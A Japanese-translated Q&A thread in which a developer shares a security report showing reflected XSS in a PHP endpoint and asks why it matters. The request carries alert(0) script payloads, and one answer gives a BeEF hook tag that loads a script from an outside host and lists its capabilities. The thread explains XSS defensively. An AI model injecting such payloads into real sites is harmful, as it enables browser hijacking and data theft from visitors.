web-dev-qa-db-ja.com

追加のパラメーターを指定したGETは、表示されるhtmlの「コードインジェクション」につながります

PHPコードのセキュリティレビューが行われ、セキュリティ会社がレポートでこれを送信しました:

リクエスト

GET /appdir/ajax/addAvail.php?counter=1216%3cscript%3ealert(0)%3c%2fscript%3e&from=1216%3cscript%3ealert(0)%3c%2fscript%3e&to=1216%3cscript%3ealert(0)%3c%2fscript%3e&day=1216%3cscript%3ealert(0)%3c%2fscript%3e&parentDiv=1216%3cscript%3ealert(0)%3c%2fscript%3e&type=1216%3cscript%3ealert(0)%3c%2fscript%3e&date=1216%3cscript%3ealert(0)%3c%2fscript%3e&showdate=1216%3cscript%3ealert(0)%3c%2fscript%3e
HTTP/1.1 
Host: localhost 
Proxy-Connection: keep-alive 
User-Agent: x 
Content-Length: 0 
Cache-Control: max-age=0 
Origin: null 
Accept: text/html 
Accept-Language: en-US,en;q=0.8 
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 

応答

HTTP/1.1 200 OK 
Date: Fri, 17 Dec 2010 00:46:48 GMT 
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_Perl/2.0.4 Perl/v5.10.1 
X-Powered-By: PHP/5.3.1 
Set-Cookie: PHPSESSID=q832q9c0ftdsat8r55dg32taf7; path=/ 
Expires: Thu, 19 Nov 1981 08:52:00 GMT 
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 
Pragma: no-cache 
Content-Length: 928 
Content-Type: text/html 
<div class="time_row" id="days_time_container1216<script>alert(0)</script>"> 
<div class="day_holder">1216<script>alert(0)</script></div> 
<div class="time_holder">1216<script>alert(0)</script> <span>-</span> 1216<script>alert(0)</script></div> 
<div class="button_holder"><a href="javascript:void(0);" onClick="removeElement('1216<script>alert(0)</script>','days_time_container1216<script>alert(0)</script>','decrementDays')" class="link4">Remove</a></div> 
<div class="clear"></div> 
<input type="hidden" id="hday1216<script>alert(0)</script>" name="hday1216<script>alert(0)</script>" value="1216<script>alert(0)</script>"> 

<input type="hidden" id="hfrom11216<script>alert(0)</script>" name="hfrom11216<script>alert(0)</script>" value="1216<script>alert(0)</script>"> 
<input type="hidden" id="hto11216<script>alert(0)</script>" name="hto11216<script>alert(0)</script>" value="1216<script>alert(0)</script>"> 
</div>

FireFoxを介してスクリプトに直接アクセスした場合(FireBugによって報告されたヘッダー)

/appdir/ajax/addAvail.php

HTTP/1.1 200 OK
Date: Sat, 25 Dec 2010 03:30:54 GMT
Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
X-Powered-By: PHP/5.3.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: no-cache, no-cache
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 253
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<div class="time_row" id="days_time_container">
<div class="day_holder"></div>
<div class="time_holder">   <span>-</span>   </div>
<div class="button_holder"><a href="javascript:void(0);" onClick="removeElement('','days_time_container','decrementDays')" class="link4">Remove</a></div>
<div class="clear"></div>
<input type="hidden" id="hday" name="hday" value="">

<input type="hidden" id="hfrom1" name="hfrom1" value="">
<input type="hidden" id="hto1" name="hto1" value="">
</div>

これがなぜ問題があるのか​​を理解しようとしています。もちろん、セキュリティ会社に尋ねますが、私はそれらを評価し、コミュニティが私にいくつかの回りくどい答えを与える前に何を言わなければならないかを確認しようとしています。

また、これは セキュリティレビュー: "HTTPヘッダーユーザーエージェントが(何か)に設定されました" に関連しています。これらの問題は両方とも同じレポートで識別されたという意味です。

7
siliconpi

[〜#〜] xss [〜#〜]は、多くの点で非常に危険です。

たとえば、次のXSSをコードに挿入すると、JavaScriptを有効にしてこのコードを表示するすべてのクライアントが、BEEFフレームワーク(ブラウザエクスプロイテーションフレームワーク)でゾンビになります。

<script src='http://10.0.0.100/beef/hook/beefmagic.js.php'></script>

スクリプトが含まれているページを誰かが閲覧すると、フレームワークによって自動的に通知され、基本的に厄介なツールボックスから非常に簡単に選択できます。新しいゾンビが登録されたときに自動実行するように設定できる名前をいくつか挙げます。

  • ブラウザー活用モジュール(Metasploitと統合されていても)
  • Metasploit autopwn(はい..ワンクリックワンpwn)
  • ポートスキャンLAN
  • Tor検出
  • キーロギング
  • ユーザーに表示される機能を確認する
  • アクセスしたページのブルートフォーシング
  • クリップボードの盗難
  • プラグインを検出する

XSSは確かに非常に危険です。

PDATE:あなたの特定の状況では、永続的でないXSS脆弱性を見ているように見えます。つまり、このエクスプロイトが他のユーザーに影響を与えるためには、攻撃者が無防備な被害者にURLを配布し、それらをロードする必要があります。しかし、これは珍しい光景ではありません。

8
Chris Dale

これは古典的な XSS脆弱性 です。ここでの危険は、外部の攻撃者がランダムなコードをページに挿入できることです。このページが昇格された特権のコンテキストで表示される場合、これは基本的に攻撃者がこのページにアクセスするときにユーザーのブラウザーを制御するのと同じであるため、攻撃者はユーザーが実行できるすべての操作を実行できます。たとえば、eコマースサイトの場合、ユーザーが何かを購入するつもりがなかったとしても、攻撃者はユーザーが何かを購入することをシミュレートできます。あなたはそれがどれほどひどいことがありえるか想像することができます。

誰かに特定のURLをロードするように指示する方法はたくさんあります-開いている(「このリンクをクリックしてたくさんの無料のものを取得する!」)と隠されている(隠しフレームなど)の両方です-そのようなものをサイトに置くことは非常に危険です。

6
StasM